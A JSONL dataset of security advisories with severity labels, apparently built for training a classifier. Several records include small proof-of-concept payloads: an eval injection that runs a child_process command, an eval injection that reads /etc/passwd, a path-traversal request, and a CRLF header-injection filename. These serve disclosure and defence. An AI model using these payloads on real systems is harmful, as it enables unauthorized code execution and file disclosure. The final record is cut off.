-{"id": "ad5c469082c354785e9c", "text": "File reference keys leads to incorrect hashes on HMAC algorithms\n\n### Impact\n\nUsers of HMAC-based algorithms (HS256, HS384, and HS512) combined with `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference` as key are having their tokens issued/validated using the file path as hashing key - instead of the contents.\n\nThe HMAC hashing functions take any string as input and, since users can issue and validate tokens, people are lead to believe that everything works properly.\n\n### Patches\n\nAll versions have been patched to always load the file contents, deprecated the `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference`, and suggest `Lcobucci\\JWT\\Signer\\Key\\InMemory` as the alternative.\n\n### Workarounds\n\nUse `Lcobucci\\JWT\\Signer\\Key\\InMemory` instead of `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference` to create the instances of your keys:\n\n```diff\n-use Lcobucci\\JWT\\Signer\\Key\\LocalFileReference;\n+use Lcobucci\\JWT\\Signer\\Key\\InMemory;\n\n-$key = LocalFileReference::file(__DIR__ . '/public-key.pem');\n+$key = InMemory::file(__DIR__ . '/public-key.pem');\n```", "text_raw": "File reference keys leads to incorrect hashes on HMAC algorithms\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers of HMAC-based algorithms (HS256, HS384, and HS512) combined with `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference` as key are having their tokens issued/validated using the file path as hashing key - instead of the contents.\n\nThe HMAC hashing functions take any string as input and, since users can issue and validate tokens, people are lead to believe that everything works properly.\n\n### Patches\n\nAll versions have been patched to always load the file contents, deprecated the `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference`, and suggest `Lcobucci\\JWT\\Signer\\Key\\InMemory` as the alternative.\n\n### Workarounds\n\nUse `Lcobucci\\JWT\\Signer\\Key\\InMemory` instead of `Lcobucci\\JWT\\Signer\\Key\\LocalFileReference` to create the instances of your keys:\n\n```diff\n-use Lcobucci\\JWT\\Signer\\Key\\LocalFileReference;\n+use Lcobucci\\JWT\\Signer\\Key\\InMemory;\n\n-$key = LocalFileReference::file(__DIR__ . '/public-key.pem');\n+$key = InMemory::file(__DIR__ . '/public-key.pem');\n```", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "6258c0c7721e0269486f", "text": "Malicious Package in jr-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in jr-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a46eaa4c8e7f1bec1511", "text": "Argument Injection in Apache Geode server\n\nWhen an Apache Geode server versions 1.0.0 to 1.8.0 is operating in secure mode, a user with write permissions for specific data regions can modify internal cluster metadata. A malicious user could modify this data in a way that affects the operation of the cluster.", "text_raw": "Argument Injection in Apache Geode server\n\n[Severity: MEDIUM]\n\nWhen an Apache Geode server versions 1.0.0 to 1.8.0 is operating in secure mode, a user with write permissions for specific data regions can modify internal cluster metadata. A malicious user could modify this data in a way that affects the operation of the cluster.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-26", "split": "train"}
-{"id": "259e540745f65c133eef", "text": "Improper Restriction of XML External Entity Reference in bedework:bw-webdav\n\nApereo Bedework bw-webdav before 4.0.3 allows XXE attacks, as demonstrated by an invite-reply document that reads a local file, related to webdav/servlet/common/MethodBase.java and webdav/servlet/common/PostRequestPars.java.", "text_raw": "Improper Restriction of XML External Entity Reference in bedework:bw-webdav\n\n[Severity: HIGH]\n\nApereo Bedework bw-webdav before 4.0.3 allows XXE attacks, as demonstrated by an invite-reply document that reads a local file, related to webdav/servlet/common/MethodBase.java and webdav/servlet/common/PostRequestPars.java.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "0998582b5af67ea6a167", "text": "Withdrawn: Arbitrary Code Execution in static-eval\n\nAll versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src=\"(function (x) { return ${eval(\"console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())\")} })()\" var ast = parse(src).body[0].expression; evaluate(ast)\n\n# WITHDRAWN\n\nThis was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.", "text_raw": "Withdrawn: Arbitrary Code Execution in static-eval\n\n[Severity: CRITICAL]\n\nAll versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src=\"(function (x) { return ${eval(\"console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())\")} })()\" var ast = parse(src).body[0].expression; evaluate(ast)\n\n# WITHDRAWN\n\nThis was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "39fb0e5d6c12ad5445b5", "text": "Cross-site Scripting in quill\n\nA vulnerability in the HTML editor of Slab Quill allows an attacker to execute arbitrary JavaScript by storing an XSS payload (a crafted `onloadstart` attribute of an IMG element) in a text field. No patch exists and no further releases are planned.\n\nThis CVE is disputed. Researchers have claimed that this issue is not within the product itself, but is intended behavior in a web browser. More information can be found [here](https://github.com/quilljs/quill/issues/3364).", "text_raw": "Cross-site Scripting in quill\n\n[Severity: MEDIUM]\n\nA vulnerability in the HTML editor of Slab Quill allows an attacker to execute arbitrary JavaScript by storing an XSS payload (a crafted `onloadstart` attribute of an IMG element) in a text field. No patch exists and no further releases are planned.\n\nThis CVE is disputed. Researchers have claimed that this issue is not within the product itself, but is intended behavior in a web browser. More information can be found [here](https://github.com/quilljs/quill/issues/3364).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "3b59ba1199fb0019d498", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability", "text_raw": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-08-13", "split": "train"}
-{"id": "5be5b4aa29e96773b52a", "text": "GEOVAP Reliance 4 Control Server Unquoted Service Path Elevation Of Privilege", "text_raw": "GEOVAP Reliance 4 Control Server Unquoted Service Path Elevation Of Privilege\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-12-07", "split": "train"}
-{"id": "f80a185ed5e06dba81e7", "text": "Out-of-bounds Read in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has an out-of-bounds read error in the function icvCvt_BGRA2BGR_8u_C4C3R when reading an image file by using cv::imread.", "text_raw": "Out-of-bounds Read in OpenCV \n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to OpenCV-Python 3.3.0.9) has an out-of-bounds read error in the function icvCvt_BGRA2BGR_8u_C4C3R when reading an image file by using cv::imread.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "e2ca1da8689c72cc6ca4", "text": "Auto-merging Person Records Compromised\n\n### Impact\n\nNew user registrations are able to access anyone's account by only knowing their basic profile information (name, birthday, gender, etc). This includes all app functionality within the app, as well as any authenticated links to Rock-based webpages (such as giving and events).\n\n### Patches\n\nWe have released a security patch on v2.20.0. The solution was to create a duplicate person and then patch the new person with their profile details.\n\n### Workarounds\n\nIf you do not wish to upgrade your app to the new version, you can patch your server by overriding the `create` data source method on the `People` class.\n\n```js\n  create = async (profile) => {\n    const rockUpdateFields = this.mapApollosFieldsToRock(profile);\n    // auto-merge functionality is compromised\n    // we are creating a new user and patching them with profile details\n    const id = await this.post('/People', {\n      Gender: 0, // required by Rock. Listed first so it can be overridden.\n      IsSystem: false, // required by rock\n    });\n    await this.patch(`/People/${id}`, {\n      ...rockUpdateFields,\n    });\n    return id;\n  };\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [support@apollos.app](mailto:support@apollos.app)", "text_raw": "Auto-merging Person Records Compromised\n\n[Severity: HIGH]\n\n### Impact\n\nNew user registrations are able to access anyone's account by only knowing their basic profile information (name, birthday, gender, etc). This includes all app functionality within the app, as well as any authenticated links to Rock-based webpages (such as giving and events).\n\n### Patches\n\nWe have released a security patch on v2.20.0. The solution was to create a duplicate person and then patch the new person with their profile details.\n\n### Workarounds\n\nIf you do not wish to upgrade your app to the new version, you can patch your server by overriding the `create` data source method on the `People` class.\n\n```js\n  create = async (profile) => {\n    const rockUpdateFields = this.mapApollosFieldsToRock(profile);\n    // auto-merge functionality is compromised\n    // we are creating a new user and patching them with profile details\n    const id = await this.post('/People', {\n      Gender: 0, // required by Rock. Listed first so it can be overridden.\n      IsSystem: false, // required by rock\n    });\n    await this.patch(`/People/${id}`, {\n      ...rockUpdateFields,\n    });\n    return id;\n  };\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [support@apollos.app](mailto:support@apollos.app)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "e6cfc64e3e5b7c51682d", "text": "Malicious Package in ladder-text-js\n\n`ladder-text-js` contained a malicious script that attempted to delete all files when `npm test` was run.\n\n## Recommendation\n\nThis module has been unpublished from the npm Registry. If you find this module in your environment remove it.", "text_raw": "Malicious Package in ladder-text-js\n\n[Severity: CRITICAL]\n\n`ladder-text-js` contained a malicious script that attempted to delete all files when `npm test` was run.\n\n\n\n## Recommendation\n\nThis module has been unpublished from the npm Registry. If you find this module in your environment remove it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f92fca87f5f0d40fccdf", "text": "Unaligned references in Obstack\n\nObstack generates unaligned references for types that require a large alignment.", "text_raw": "Unaligned references in Obstack\n\n[Severity: HIGH]\n\nObstack generates unaligned references for types that require a large alignment.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "cb144fa7559fc0ad8d45", "text": "Microsoft Windows CryptoAPI Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows CryptoAPI (Crypt32.dll) contains a spoofing vulnerability in the way it validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software. The vulnerability is also known under the moniker of CurveBall.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-295\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows CryptoAPI Spoofing Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows CryptoAPI (Crypt32.dll) contains a spoofing vulnerability in the way it validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software. The vulnerability is also known under the moniker of CurveBall.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-295\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "0554f47fbe2d3bb004a4", "text": "Malicious npm package: sonatype\n\nThe npm `sonatype` package has been identified as malicious and removed from the npm package registry.\n\n## Remediation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious npm package: sonatype\n\n[Severity: CRITICAL]\n\nThe npm `sonatype` package has been identified as malicious and removed from the npm package registry.\n\n## Remediation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "dafce350f20aaae442c5", "text": "Improper Validation of Certificate with Host Mismatch in Java-WebSocket\n\nThe Java-WebSocket Client does not perform hostname verification.\n\n- This means that SSL certificates of other hosts are accepted as long as they are trusted. To exploit this vulnerability an attacker has to perform a man-in-the-middle (MITM) attack between a Java application using the Java-WebSocket Client and an WebSocket server it's connecting to.\n - TLS normally protects users and systems against MITM attacks, it cannot if certificates from other trusted hosts are accepted by the client.\n\nFor more information see: CWE-297: Improper Validation of Certificate with Host Mismatch - https://cwe.mitre.org/data/definitions/297.html\n\n## Important note\n\nThe OWASP Dependency-Check (https://jeremylong.github.io/DependencyCheck/index.html) may report that a dependency of your project is affected by this security vulnerability, but you don't use this lib.\nThis is caused by the fuzzy search in the OWASP implementation.\nCheck out this issue (https://github.com/TooTallNate/Java-WebSocket/issues/1019#issuecomment-628507934) for more information and a way to suppress the warning.", "text_raw": "Improper Validation of Certificate with Host Mismatch in Java-WebSocket\n\n[Severity: HIGH]\n\nThe Java-WebSocket Client does not perform hostname verification.\n\n - This means that SSL certificates of other hosts are accepted as long as they are trusted. To exploit this vulnerability an attacker has to perform a man-in-the-middle (MITM) attack between a Java application using the Java-WebSocket Client and an WebSocket server it's connecting to.\n - TLS normally protects users and systems against MITM attacks, it cannot if certificates from other trusted hosts are accepted by the client.\n\nFor more information see: CWE-297: Improper Validation of Certificate with Host Mismatch - https://cwe.mitre.org/data/definitions/297.html\n\n## Important note\n\nThe OWASP Dependency-Check (https://jeremylong.github.io/DependencyCheck/index.html) may report that a dependency of your project is affected by this security vulnerability, but you don't use this lib.\nThis is caused by the fuzzy search in the OWASP implementation.\nCheck out this issue (https://github.com/TooTallNate/Java-WebSocket/issues/1019#issuecomment-628507934) for more information and a way to suppress the warning.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-08", "split": "train"}
-{"id": "cdd391fbadc99052f55f", "text": "Arbitrary Code Injection in reduce-css-calc\n\nAffected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require('reduce-css-calc');\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs['readFileSync'](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.", "text_raw": "Arbitrary Code Injection in reduce-css-calc\n\n[Severity: CRITICAL]\n\nAffected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require('reduce-css-calc');\nconsole.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));\nconsole.log(reduceCSSCalc(`calc(                       (fs['readFileSync'](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-06-07", "split": "train"}
-{"id": "4eb361210324496f82d8", "text": "An issue was discovered in Mayan EDMS before 3.0.2. The Cabinets app has XSS via a crafted cabinet label.", "text_raw": "Moderate severity vulnerability that affects mayan-edms\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Mayan EDMS before 3.0.2. The Cabinets app has XSS via a crafted cabinet label.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "b8f3ce03da593beaf07d", "text": "## Duplicate advisory\nThis advisory has been withdrawn because it is a duplicate of [GHSA-543v-gj2c-r3ch](https://github.com/advisories/GHSA-543v-gj2c-r3ch). This link is maintained to preserve external references.\n\n## Original Description\nActive Model in Ruby on Rails 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 supports the use of instance-level writers for class accessors, which allows remote attackers to bypass intended validation steps via crafted parameters.", "text_raw": "Duplicate Advisory: Moderate severity vulnerability that affects activemodel\n\n[Severity: MEDIUM]\n\n## Duplicate advisory\nThis advisory has been withdrawn because it is a duplicate of [GHSA-543v-gj2c-r3ch](https://github.com/advisories/GHSA-543v-gj2c-r3ch). This link is maintained to preserve external references.\n\n## Original Description\nActive Model in Ruby on Rails 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 supports the use of instance-level writers for class accessors, which allows remote attackers to bypass intended validation steps via crafted parameters.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "c7c26e825d264c59d2a1", "text": "Remote Command Execution in reg-keygen-git-hash-plugin\n\n### Impact\n\n`reg-keygen-git-hash-plugin` through 0.10.15 allow remote attackers to execute of arbitrary commands.\n\n### Patches\n\nUpgrade to version 0.10.16 or later.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Open an issue in [reg-viz/reg-suit](https://github.com/reg-viz/reg-suit)", "text_raw": "Remote Command Execution in reg-keygen-git-hash-plugin\n\n[Severity: HIGH]\n\n### Impact\n\n`reg-keygen-git-hash-plugin` through 0.10.15 allow remote attackers to execute of arbitrary commands.\n\n### Patches\n\nUpgrade to version 0.10.16 or later.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n- Open an issue in [reg-viz/reg-suit](https://github.com/reg-viz/reg-suit)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "32a9c052bae54fbfa330", "text": "SQL injection in jackalope/jackalope-doctrine-dbal\n\n### Impact\n\nUsers can provoke SQL injections if they can specify a node name or query.\n\n### Patches\n\nUpgrade to version 1.7.4\n\nIf that is not possible, you can escape all places where `$property` is used to filter `sv:name` in the class `Jackalope\\Transport\\DoctrineDBAL\\Query\\QOMWalker`: `XPath::escape($property)`.\n\n### Workarounds\n\nNode names and xpaths can contain `\"` or `;` according to the JCR specification. The jackalope component that translates the query object model into doctrine dbal queries does not properly escape the names and paths, so that a accordingly crafted node name can lead to an SQL injection.\n\nIf queries are never done from user input, or if you validate the user input to not contain `;`, you are not affected.\n\n### References\n\nNo further references.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [jackalope/jackalope-doctrine-dbal repo](https://github.com/jackalope/jackalope-doctrine-dbal/issues)", "text_raw": "SQL injection in jackalope/jackalope-doctrine-dbal\n\n[Severity: HIGH]\n\n### Impact\n\nUsers can provoke SQL injections if they can specify a node name or query.\n\n### Patches\n\nUpgrade to version 1.7.4\n\nIf that is not possible, you can escape all places where `$property` is used to filter `sv:name` in the class `Jackalope\\Transport\\DoctrineDBAL\\Query\\QOMWalker`: `XPath::escape($property)`.\n\n### Workarounds\n\nNode names and xpaths can contain `\"` or `;` according to the JCR specification. The jackalope component that translates the query object model into doctrine dbal queries does not properly escape the names and paths, so that a accordingly crafted node name can lead to an SQL injection.\n\nIf queries are never done from user input, or if you validate the user input to not contain `;`, you are not affected. \n\n### References\n\nNo further references.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [jackalope/jackalope-doctrine-dbal repo](https://github.com/jackalope/jackalope-doctrine-dbal/issues)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "0a43d92005d5238276ec", "text": "Segfault due to negative splits in `SplitV`\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/split_v_op.cc#L49-L205) of `SplitV` can trigger a segfault is an attacker supplies negative arguments:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SplitV(\n  value=tf.constant([]),\n  size_splits=[-1, -2]\n  ,axis=0,\n  num_split=2)\n```\n\nThis occurs whenever `size_splits` contains more than one value and at least one value is negative.\n\n### Patches \nWe have patched the issue in GitHub commit [25d622ffc432acc736b14ca3904177579e733cc6](https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Segfault due to negative splits in `SplitV`\n\n[Severity: MEDIUM]\n\n### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/split_v_op.cc#L49-L205) of `SplitV` can trigger a segfault is an attacker supplies negative arguments:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.SplitV(\n  value=tf.constant([]),\n  size_splits=[-1, -2]\n  ,axis=0,\n  num_split=2)\n``` \n  \nThis occurs whenever `size_splits` contains more than one value and at least one value is negative.\n  \n### Patches \nWe have patched the issue in GitHub commit [25d622ffc432acc736b14ca3904177579e733cc6](https://github.com/tensorflow/tensorflow/commit/25d622ffc432acc736b14ca3904177579e733cc6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "192704a49ab7c870c9b3", "text": "Uncontrolled recursion in rust-yaml\n\nAffected versions of this crate did not prevent deep recursion while deserializing data structures. This allows an attacker to make a YAML file with deeply nested structures that causes an abort while deserializing it. The flaw was corrected by checking the recursion depth.", "text_raw": "Uncontrolled recursion in rust-yaml\n\n[Severity: HIGH]\n\nAffected versions of this crate did not prevent deep recursion while deserializing data structures. This allows an attacker to make a YAML file with deeply nested structures that causes an abort while deserializing it. The flaw was corrected by checking the recursion depth.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ce5380c9051b96166543", "text": "Cross-site scripting in Apache JSPWiki\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the WYSIWYG editor, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "text_raw": "Cross-site scripting in Apache JSPWiki\n\n[Severity: MEDIUM]\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to the WYSIWYG editor, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "b8683f39aed737d55749", "text": "Inappropriate implementation in V8 in CefSharp\n\nHigh CVE-2020-16013: Inappropriate implementation in V8.\n\n- https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop_11.html\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16013\n\nGoogle is aware of reports that exploits for CVE-2020-16013 and CVE-2020-16017 exist in the wild.", "text_raw": "Inappropriate implementation in V8 in CefSharp\n\n[Severity: HIGH]\n\nHigh CVE-2020-16013: Inappropriate implementation in V8. \n\n- https://chromereleases.googleblog.com/2020/11/stable-channel-update-for-desktop_11.html\n- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-16013\n\nGoogle is aware of reports that exploits for CVE-2020-16013 and CVE-2020-16017 exist in the wild.\n\nThere is currently little to no public information on the issue other than it has been flagged as `High` severity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-27", "split": "train"}
-{"id": "22dc4dbc45ca1fad62ed", "text": "Context isolation bypass via contextBridge in Electron\n\n### Impact\nApps using both `contextIsolation` and `contextBridge` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "text_raw": "Context isolation bypass via contextBridge in Electron\n\n[Severity: HIGH]\n\n### Impact\nApps using both `contextIsolation` and `contextBridge` are affected.\n\nThis is a context isolation bypass, meaning that code running in the main world context in the renderer can reach into the isolated Electron context and perform privileged actions.\n\n### Workarounds\nThere are no app-side workarounds, you must update your Electron version to be protected.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "426bde8eead4abcdd988", "text": "Malicious Package in jw-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in jw-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "e5d0604a84b75911af72", "text": "Directory Traversal in welcomyzt\n\n`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in welcomyzt\n\n[Severity: HIGH]\n\n`welcomyzt` is a simple file server.\n\n`welcomyzt` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing `../` in the url.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost: localhost\n```\n and server Response:\n```http\nHTTP/1.1 200 OK\nDate: Thu, 04 May 2017 23:59:18 GMT\nConnection: keep-alive\nTransfer-Encoding: chunked\n\n{contents of /etc/passwd}\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3d96bc95f81732520abc", "text": "CRLF vulnerability in Fiber\n\n### Impact\nThe filename that is given in [c.Attachment()](https://docs.gofiber.io/ctx#attachment) is not escaped, and therefore vulnerable for a CRLF injection attack. I.e. an attacker could upload a custom filename and then give the link to the victim. With this filename, the attacker can change the name of the downloaded file, redirect to another site, change the authorization header, etc.\n\n### Steps to reproduce\n```go\npackage main\n\nimport \"github.com/gofiber/fiber\"\n\nconst badFileName = \"another secret document.pdf\\\"\\r\\nLocation: google.com\\r\\nAuthorization: \\\"example_of_session_fixation\"\n\nfunc splitTheResponse(c *fiber.Ctx) {\n\tc.Attachment(badFileName)\n}\n\nfunc main() {\n\tapp := fiber.New()\n\tapp.Get(\"/attack\", splitTheResponse)\n\tapp.Listen(\"127.0.0.1:8080\")\n}\n```\n```\nHTTP/1.1 200 OK\nDate: Fri, 10 Jul 2020 19:47:04 GMT\nContent-Type: application/octet-stream\nContent-Length: 0\nContent-Disposition: attachment; filename=\"another secret document.pdf\"\nLocation: google.com\nAuthorization: \"example_of_session_fixation\"\n```\n\n### Patches\nThis issue has been patched in `v1.12.6` with commit [579](https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f) escaping the filename by default.\n\n### Workarounds\nYou could of course serialize the input yourself before passing it to `ctx.Attachment()`, this is actually a good practice by default. But in case you forget, we got you covered ����\n\n### References\nA CRLF injection attack is one of several types of injection attacks. It can be used to escalate to more malicious attacks such as Cross-site Scripting (XSS), page injection, web cache poisoning, cache-based defacement, and more. A CRLF injection vulnerability exists if an attacker can inject the CRLF characters into a web application, for example using a user input form or an 